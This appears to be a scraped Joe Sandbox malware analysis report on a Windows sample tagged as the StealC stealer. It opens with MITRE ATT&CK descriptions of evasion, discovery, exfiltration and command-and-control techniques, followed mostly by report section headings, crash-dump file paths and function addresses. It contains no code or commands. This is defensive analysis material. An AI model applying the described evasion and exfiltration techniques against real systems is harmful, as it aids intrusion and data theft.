Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 5rVhexjLCx.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_5rVhexjLCx.exe_4f563470d5c1e523cae46f4ce3215b123fa5833_07f53762_c9c77ddf-0ca1-47fc-8dbf-f5e4899913d0\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8CD9.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8D28.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8D68.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Windows Analysis Report
5rVhexjLCx.exe

Function 00582021 Relevance: 7.6, APIs: 1, Strings: 3, Instructions: 631
memoryCOMMON

Function 00596368 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34
COMMONLIBRARYCODE

Function 00598E2E Relevance: 4.7, APIs: 3, Instructions: 202
COMMON

Function 0059A3A6 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Function 00599FAA Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Function 0059C9E9 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 183
COMMONLIBRARYCODE